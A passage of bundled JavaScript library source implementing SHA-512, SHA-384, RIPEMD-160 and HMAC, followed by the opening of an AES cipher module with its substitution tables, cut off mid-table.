0x23ef65cd,\n 0xb5c0fbcf, 0xec4d3b2f, 0xe9b5dba5, 0x8189dbbc,\n 0x3956c25b, 0xf348b538, 0x59f111f1, 0xb605d019,\n 0x923f82a4, 0xaf194f9b, 0xab1c5ed5, 0xda6d8118,\n 0xd807aa98, 0xa3030242, 0x12835b01, 0x45706fbe,\n 0x243185be, 0x4ee4b28c, 0x550c7dc3, 0xd5ffb4e2,\n 0x72be5d74, 0xf27b896f, 0x80deb1fe, 0x3b1696b1,\n 0x9bdc06a7, 0x25c71235, 0xc19bf174, 0xcf692694,\n 0xe49b69c1, 0x9ef14ad2, 0xefbe4786, 0x384f25e3,\n 0x0fc19dc6, 0x8b8cd5b5, 0x240ca1cc, 0x77ac9c65,\n 0x2de92c6f, 0x592b0275, 0x4a7484aa, 0x6ea6e483,\n 0x5cb0a9dc, 0xbd41fbd4, 0x76f988da, 0x831153b5,\n 0x983e5152, 0xee66dfab, 0xa831c66d, 0x2db43210,\n 0xb00327c8, 0x98fb213f, 0xbf597fc7, 0xbeef0ee4,\n 0xc6e00bf3, 0x3da88fc2, 0xd5a79147, 0x930aa725,\n 0x06ca6351, 0xe003826f, 0x14292967, 0x0a0e6e70,\n 0x27b70a85, 0x46d22ffc, 0x2e1b2138, 0x5c26c926,\n 0x4d2c6dfc, 0x5ac42aed, 0x53380d13, 0x9d95b3df,\n 0x650a7354, 0x8baf63de, 0x766a0abb, 0x3c77b2a8,\n 0x81c2c92e, 0x47edaee6, 0x92722c85, 0x1482353b,\n 0xa2bfe8a1, 0x4cf10364, 0xa81a664b, 0xbc423001,\n 0xc24b8b70, 0xd0f89791, 0xc76c51a3, 0x0654be30,\n 0xd192e819, 0xd6ef5218, 0xd6990624, 0x5565a910,\n 0xf40e3585, 0x5771202a, 0x106aa070, 0x32bbd1b8,\n 0x19a4c116, 0xb8d2d0c8, 0x1e376c08, 0x5141ab53,\n 0x2748774c, 0xdf8eeb99, 0x34b0bcb5, 0xe19b48a8,\n 0x391c0cb3, 0xc5c95a63, 0x4ed8aa4a, 0xe3418acb,\n 0x5b9cca4f, 0x7763e373, 0x682e6ff3, 0xd6b2b8a3,\n 0x748f82ee, 0x5defb2fc, 0x78a5636f, 0x43172f60,\n 0x84c87814, 0xa1f0ab72, 0x8cc70208, 0x1a6439ec,\n 0x90befffa, 0x23631e28, 0xa4506ceb, 0xde82bde9,\n 0xbef9a3f7, 0xb2c67915, 0xc67178f2, 0xe372532b,\n 0xca273ece, 0xea26619c, 0xd186b8c7, 0x21c0c207,\n 0xeada7dd6, 0xcde0eb1e, 0xf57d4f7f, 0xee6ed178,\n 0x06f067aa, 0x72176fba, 0x0a637dc5, 0xa2c898a6,\n 0x113f9804, 0xbef90dae, 0x1b710b35, 0x131c471b,\n 0x28db77f5, 0x23047d84, 0x32caab7b, 0x40c72493,\n 0x3c9ebe0a, 0x15c9bebc, 0x431d67c4, 0x9c100d4c,\n 0x4cc5d4be, 0xcb3e42b6, 0x597f299c, 0xfc657e2a,\n 0x5fcb6fab, 0x3ad6faec, 0x6c44198c, 0x4a475817\n];\n\nfunction SHA512() {\n if (!(this instanceof SHA512))\n return new SHA512();\n\n BlockHash.call(this);\n this.h = [\n 0x6a09e667, 0xf3bcc908,\n 0xbb67ae85, 0x84caa73b,\n 0x3c6ef372, 0xfe94f82b,\n 0xa54ff53a, 0x5f1d36f1,\n 0x510e527f, 0xade682d1,\n 0x9b05688c, 0x2b3e6c1f,\n 0x1f83d9ab, 0xfb41bd6b,\n 0x5be0cd19, 0x137e2179 ];\n this.k = sha512_K;\n this.W = new Array(160);\n}\nutils.inherits(SHA512, BlockHash);\nmodule.exports = SHA512;\n\nSHA512.blockSize = 1024;\nSHA512.outSize = 512;\nSHA512.hmacStrength = 192;\nSHA512.padLength = 128;\n\nSHA512.prototype._prepareBlock = function _prepareBlock(msg, start) {\n var W = this.W;\n\n // 32 x 32bit words\n for (var i = 0; i < 32; i++)\n W[i] = msg[start + i];\n for (; i < W.length; i += 2) {\n var c0_hi = g1_512_hi(W[i - 4], W[i - 3]); // i - 2\n var c0_lo = g1_512_lo(W[i - 4], W[i - 3]);\n var c1_hi = W[i - 14]; // i - 7\n var c1_lo = W[i - 13];\n var c2_hi = g0_512_hi(W[i - 30], W[i - 29]); // i - 15\n var c2_lo = g0_512_lo(W[i - 30], W[i - 29]);\n var c3_hi = W[i - 32]; // i - 16\n var c3_lo = W[i - 31];\n\n W[i] = sum64_4_hi(\n c0_hi, c0_lo,\n c1_hi, c1_lo,\n c2_hi, c2_lo,\n c3_hi, c3_lo);\n W[i + 1] = sum64_4_lo(\n c0_hi, c0_lo,\n c1_hi, c1_lo,\n c2_hi, c2_lo,\n c3_hi, c3_lo);\n }\n};\n\nSHA512.prototype._update = function _update(msg, start) {\n this._prepareBlock(msg, start);\n\n var W = this.W;\n\n var ah = this.h[0];\n var al = this.h[1];\n var bh = this.h[2];\n var bl = this.h[3];\n var ch = this.h[4];\n var cl = this.h[5];\n var dh = this.h[6];\n var dl = this.h[7];\n var eh = this.h[8];\n var el = this.h[9];\n var fh = this.h[10];\n var fl = this.h[11];\n var gh = this.h[12];\n var gl = this.h[13];\n var hh = this.h[14];\n var hl = this.h[15];\n\n assert(this.k.length === W.length);\n for (var i = 0; i < W.length; i += 2) {\n var c0_hi = hh;\n var c0_lo = hl;\n var c1_hi = s1_512_hi(eh, el);\n var c1_lo = s1_512_lo(eh, el);\n var c2_hi = ch64_hi(eh, el, fh, fl, gh, gl);\n var c2_lo = ch64_lo(eh, el, fh, fl, gh, gl);\n var c3_hi = this.k[i];\n var c3_lo = this.k[i + 1];\n var c4_hi = W[i];\n var c4_lo = W[i + 1];\n\n var T1_hi = sum64_5_hi(\n c0_hi, c0_lo,\n c1_hi, c1_lo,\n c2_hi, c2_lo,\n c3_hi, c3_lo,\n c4_hi, c4_lo);\n var T1_lo = sum64_5_lo(\n c0_hi, c0_lo,\n c1_hi, c1_lo,\n c2_hi, c2_lo,\n c3_hi, c3_lo,\n c4_hi, c4_lo);\n\n c0_hi = s0_512_hi(ah, al);\n c0_lo = s0_512_lo(ah, al);\n c1_hi = maj64_hi(ah, al, bh, bl, ch, cl);\n c1_lo = maj64_lo(ah, al, bh, bl, ch, cl);\n\n var T2_hi = sum64_hi(c0_hi, c0_lo, c1_hi, c1_lo);\n var T2_lo = sum64_lo(c0_hi, c0_lo, c1_hi, c1_lo);\n\n hh = gh;\n hl = gl;\n\n gh = fh;\n gl = fl;\n\n fh = eh;\n fl = el;\n\n eh = sum64_hi(dh, dl, T1_hi, T1_lo);\n el = sum64_lo(dl, dl, T1_hi, T1_lo);\n\n dh = ch;\n dl = cl;\n\n ch = bh;\n cl = bl;\n\n bh = ah;\n bl = al;\n\n ah = sum64_hi(T1_hi, T1_lo, T2_hi, T2_lo);\n al = sum64_lo(T1_hi, T1_lo, T2_hi, T2_lo);\n }\n\n sum64(this.h, 0, ah, al);\n sum64(this.h, 2, bh, bl);\n sum64(this.h, 4, ch, cl);\n sum64(this.h, 6, dh, dl);\n sum64(this.h, 8, eh, el);\n sum64(this.h, 10, fh, fl);\n sum64(this.h, 12, gh, gl);\n sum64(this.h, 14, hh, hl);\n};\n\nSHA512.prototype._digest = function digest(enc) {\n if (enc === 'hex')\n return utils.toHex32(this.h, 'big');\n else\n return utils.split32(this.h, 'big');\n};\n\nfunction ch64_hi(xh, xl, yh, yl, zh) {\n var r = (xh & yh) ^ ((~xh) & zh);\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction ch64_lo(xh, xl, yh, yl, zh, zl) {\n var r = (xl & yl) ^ ((~xl) & zl);\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction maj64_hi(xh, xl, yh, yl, zh) {\n var r = (xh & yh) ^ (xh & zh) ^ (yh & zh);\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction maj64_lo(xh, xl, yh, yl, zh, zl) {\n var r = (xl & yl) ^ (xl & zl) ^ (yl & zl);\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction s0_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 28);\n var c1_hi = rotr64_hi(xl, xh, 2); // 34\n var c2_hi = rotr64_hi(xl, xh, 7); // 39\n\n var r = c0_hi ^ c1_hi ^ c2_hi;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction s0_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 28);\n var c1_lo = rotr64_lo(xl, xh, 2); // 34\n var c2_lo = rotr64_lo(xl, xh, 7); // 39\n\n var r = c0_lo ^ c1_lo ^ c2_lo;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction s1_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 14);\n var c1_hi = rotr64_hi(xh, xl, 18);\n var c2_hi = rotr64_hi(xl, xh, 9); // 41\n\n var r = c0_hi ^ c1_hi ^ c2_hi;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction s1_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 14);\n var c1_lo = rotr64_lo(xh, xl, 18);\n var c2_lo = rotr64_lo(xl, xh, 9); // 41\n\n var r = c0_lo ^ c1_lo ^ c2_lo;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction g0_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 1);\n var c1_hi = rotr64_hi(xh, xl, 8);\n var c2_hi = shr64_hi(xh, xl, 7);\n\n var r = c0_hi ^ c1_hi ^ c2_hi;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction g0_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 1);\n var c1_lo = rotr64_lo(xh, xl, 8);\n var c2_lo = shr64_lo(xh, xl, 7);\n\n var r = c0_lo ^ c1_lo ^ c2_lo;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction g1_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 19);\n var c1_hi = rotr64_hi(xl, xh, 29); // 61\n var c2_hi = shr64_hi(xh, xl, 6);\n\n var r = c0_hi ^ c1_hi ^ c2_hi;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n\nfunction g1_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 19);\n var c1_lo = rotr64_lo(xl, xh, 29); // 61\n var c2_lo = shr64_lo(xh, xl, 6);\n\n var r = c0_lo ^ c1_lo ^ c2_lo;\n if (r < 0)\n r += 0x100000000;\n return r;\n}\n", "'use strict';\n\nvar utils = require('../utils');\n\nvar SHA512 = require('./512');\n\nfunction SHA384() {\n if (!(this instanceof SHA384))\n return new SHA384();\n\n SHA512.call(this);\n this.h = [\n 0xcbbb9d5d, 0xc1059ed8,\n 0x629a292a, 0x367cd507,\n 0x9159015a, 0x3070dd17,\n 0x152fecd8, 0xf70e5939,\n 0x67332667, 0xffc00b31,\n 0x8eb44a87, 0x68581511,\n 0xdb0c2e0d, 0x64f98fa7,\n 0x47b5481d, 0xbefa4fa4 ];\n}\nutils.inherits(SHA384, SHA512);\nmodule.exports = SHA384;\n\nSHA384.blockSize = 1024;\nSHA384.outSize = 384;\nSHA384.hmacStrength = 192;\nSHA384.padLength = 128;\n\nSHA384.prototype._digest = function digest(enc) {\n if (enc === 'hex')\n return utils.toHex32(this.h.slice(0, 12), 'big');\n else\n return utils.split32(this.h.slice(0, 12), 'big');\n};\n", "'use strict';\n\nexports.sha1 = require('./sha/1');\nexports.sha224 = require('./sha/224');\nexports.sha256 = require('./sha/256');\nexports.sha384 = require('./sha/384');\nexports.sha512 = require('./sha/512');\n", "'use strict';\n\nvar utils = require('./utils');\nvar common = require('./common');\n\nvar rotl32 = utils.rotl32;\nvar sum32 = utils.sum32;\nvar sum32_3 = utils.sum32_3;\nvar sum32_4 = utils.sum32_4;\nvar BlockHash = common.BlockHash;\n\nfunction RIPEMD160() {\n if (!(this instanceof RIPEMD160))\n return new RIPEMD160();\n\n BlockHash.call(this);\n\n this.h = [ 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0 ];\n this.endian = 'little';\n}\nutils.inherits(RIPEMD160, BlockHash);\nexports.ripemd160 = RIPEMD160;\n\nRIPEMD160.blockSize = 512;\nRIPEMD160.outSize = 160;\nRIPEMD160.hmacStrength = 192;\nRIPEMD160.padLength = 64;\n\nRIPEMD160.prototype._update = function update(msg, start) {\n var A = this.h[0];\n var B = this.h[1];\n var C = this.h[2];\n var D = this.h[3];\n var E = this.h[4];\n var Ah = A;\n var Bh = B;\n var Ch = C;\n var Dh = D;\n var Eh = E;\n for (var j = 0; j < 80; j++) {\n var T = sum32(\n rotl32(\n sum32_4(A, f(j, B, C, D), msg[r[j] + start], K(j)),\n s[j]),\n E);\n A = E;\n E = D;\n D = rotl32(C, 10);\n C = B;\n B = T;\n T = sum32(\n rotl32(\n sum32_4(Ah, f(79 - j, Bh, Ch, Dh), msg[rh[j] + start], Kh(j)),\n sh[j]),\n Eh);\n Ah = Eh;\n Eh = Dh;\n Dh = rotl32(Ch, 10);\n Ch = Bh;\n Bh = T;\n }\n T = sum32_3(this.h[1], C, Dh);\n this.h[1] = sum32_3(this.h[2], D, Eh);\n this.h[2] = sum32_3(this.h[3], E, Ah);\n this.h[3] = sum32_3(this.h[4], A, Bh);\n this.h[4] = sum32_3(this.h[0], B, Ch);\n this.h[0] = T;\n};\n\nRIPEMD160.prototype._digest = function digest(enc) {\n if (enc === 'hex')\n return utils.toHex32(this.h, 'little');\n else\n return utils.split32(this.h, 'little');\n};\n\nfunction f(j, x, y, z) {\n if (j <= 15)\n return x ^ y ^ z;\n else if (j <= 31)\n return (x & y) | ((~x) & z);\n else if (j <= 47)\n return (x | (~y)) ^ z;\n else if (j <= 63)\n return (x & z) | (y & (~z));\n else\n return x ^ (y | (~z));\n}\n\nfunction K(j) {\n if (j <= 15)\n return 0x00000000;\n else if (j <= 31)\n return 0x5a827999;\n else if (j <= 47)\n return 0x6ed9eba1;\n else if (j <= 63)\n return 0x8f1bbcdc;\n else\n return 0xa953fd4e;\n}\n\nfunction Kh(j) {\n if (j <= 15)\n return 0x50a28be6;\n else if (j <= 31)\n return 0x5c4dd124;\n else if (j <= 47)\n return 0x6d703ef3;\n else if (j <= 63)\n return 0x7a6d76e9;\n else\n return 0x00000000;\n}\n\nvar r = [\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8,\n 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12,\n 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2,\n 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13\n];\n\nvar rh = [\n 5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12,\n 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2,\n 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13,\n 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14,\n 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11\n];\n\nvar s = [\n 11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8,\n 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12,\n 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5,\n 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12,\n 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6\n];\n\nvar sh = [\n 8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6,\n 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11,\n 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5,\n 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8,\n 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11\n];\n", "'use strict';\n\nvar utils = require('./utils');\nvar assert = require('minimalistic-assert');\n\nfunction Hmac(hash, key, enc) {\n if (!(this instanceof Hmac))\n return new Hmac(hash, key, enc);\n this.Hash = hash;\n this.blockSize = hash.blockSize / 8;\n this.outSize = hash.outSize / 8;\n this.inner = null;\n this.outer = null;\n\n this._init(utils.toArray(key, enc));\n}\nmodule.exports = Hmac;\n\nHmac.prototype._init = function init(key) {\n // Shorten key, if needed\n if (key.length > this.blockSize)\n key = new this.Hash().update(key).digest();\n assert(key.length <= this.blockSize);\n\n // Add padding to key\n for (var i = key.length; i < this.blockSize; i++)\n key.push(0);\n\n for (i = 0; i < key.length; i++)\n key[i] ^= 0x36;\n this.inner = new this.Hash().update(key);\n\n // 0x36 ^ 0x5c = 0x6a\n for (i = 0; i < key.length; i++)\n key[i] ^= 0x6a;\n this.outer = new this.Hash().update(key);\n};\n\nHmac.prototype.update = function update(msg, enc) {\n this.inner.update(msg, enc);\n return this;\n};\n\nHmac.prototype.digest = function digest(enc) {\n this.outer.update(this.inner.digest());\n return this.outer.digest(enc);\n};\n", "var hash = exports;\n\nhash.utils = require('./hash/utils');\nhash.common = require('./hash/common');\nhash.sha = require('./hash/sha');\nhash.ripemd = require('./hash/ripemd');\nhash.hmac = require('./hash/hmac');\n\n// Proxy hash functions to the main object\nhash.sha1 = hash.sha.sha1;\nhash.sha256 = hash.sha.sha256;\nhash.sha224 = hash.sha.sha224;\nhash.sha384 = hash.sha.sha384;\nhash.sha512 = hash.sha.sha512;\nhash.ripemd160 = hash.ripemd.ripemd160;\n", "\"use strict\";\n\n(function(root) {\n\n function checkInt(value) {\n return (parseInt(value) === value);\n }\n\n function checkInts(arrayish) {\n if (!checkInt(arrayish.length)) { return false; }\n\n for (var i = 0; i < arrayish.length; i++) {\n if (!checkInt(arrayish[i]) || arrayish[i] < 0 || arrayish[i] > 255) {\n return false;\n }\n }\n\n return true;\n }\n\n function coerceArray(arg, copy) {\n\n // ArrayBuffer view\n if (arg.buffer && ArrayBuffer.isView(arg) && arg.name === 'Uint8Array') {\n\n if (copy) {\n if (arg.slice) {\n arg = arg.slice();\n } else {\n arg = Array.prototype.slice.call(arg);\n }\n }\n\n return arg;\n }\n\n // It's an array; check it is a valid representation of a byte\n if (Array.isArray(arg)) {\n if (!checkInts(arg)) {\n throw new Error('Array contains invalid value: ' + arg);\n }\n\n return new Uint8Array(arg);\n }\n\n // Something else, but behaves like an array (maybe a Buffer? Arguments?)\n if (checkInt(arg.length) && checkInts(arg)) {\n return new Uint8Array(arg);\n }\n\n throw new Error('unsupported array-like object');\n }\n\n function createArray(length) {\n return new Uint8Array(length);\n }\n\n function copyArray(sourceArray, targetArray, targetStart, sourceStart, sourceEnd) {\n if (sourceStart != null || sourceEnd != null) {\n if (sourceArray.slice) {\n sourceArray = sourceArray.slice(sourceStart, sourceEnd);\n } else {\n sourceArray = Array.prototype.slice.call(sourceArray, sourceStart, sourceEnd);\n }\n }\n targetArray.set(sourceArray, targetStart);\n }\n\n\n\n var convertUtf8 = (function() {\n function toBytes(text) {\n var result = [], i = 0;\n text = encodeURI(text);\n while (i < text.length) {\n var c = text.charCodeAt(i++);\n\n // if it is a % sign, encode the following 2 bytes as a hex value\n if (c === 37) {\n result.push(parseInt(text.substr(i, 2), 16))\n i += 2;\n\n // otherwise, just the actual byte\n } else {\n result.push(c)\n }\n }\n\n return coerceArray(result);\n }\n\n function fromBytes(bytes) {\n var result = [], i = 0;\n\n while (i < bytes.length) {\n var c = bytes[i];\n\n if (c < 128) {\n result.push(String.fromCharCode(c));\n i++;\n } else if (c > 191 && c < 224) {\n result.push(String.fromCharCode(((c & 0x1f) << 6) | (bytes[i + 1] & 0x3f)));\n i += 2;\n } else {\n result.push(String.fromCharCode(((c & 0x0f) << 12) | ((bytes[i + 1] & 0x3f) << 6) | (bytes[i + 2] & 0x3f)));\n i += 3;\n }\n }\n\n return result.join('');\n }\n\n return {\n toBytes: toBytes,\n fromBytes: fromBytes,\n }\n })();\n\n var convertHex = (function() {\n function toBytes(text) {\n var result = [];\n for (var i = 0; i < text.length; i += 2) {\n result.push(parseInt(text.substr(i, 2), 16));\n }\n\n return result;\n }\n\n // http://ixti.net/development/javascript/2011/11/11/base64-encodedecode-of-utf8-in-browser-with-js.html\n var Hex = '0123456789abcdef';\n\n function fromBytes(bytes) {\n var result = [];\n for (var i = 0; i < bytes.length; i++) {\n var v = bytes[i];\n result.push(Hex[(v & 0xf0) >> 4] + Hex[v & 0x0f]);\n }\n return result.join('');\n }\n\n return {\n toBytes: toBytes,\n fromBytes: fromBytes,\n }\n })();\n\n\n // Number of rounds by keysize\n var numberOfRounds = {16: 10, 24: 12, 32: 14}\n\n // Round constant words\n var rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91];\n\n // S-box and Inverse S-box (S is for Substitution)\n var S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];\n var Si =[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d];\n\n // Transformations for encryption\n var T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 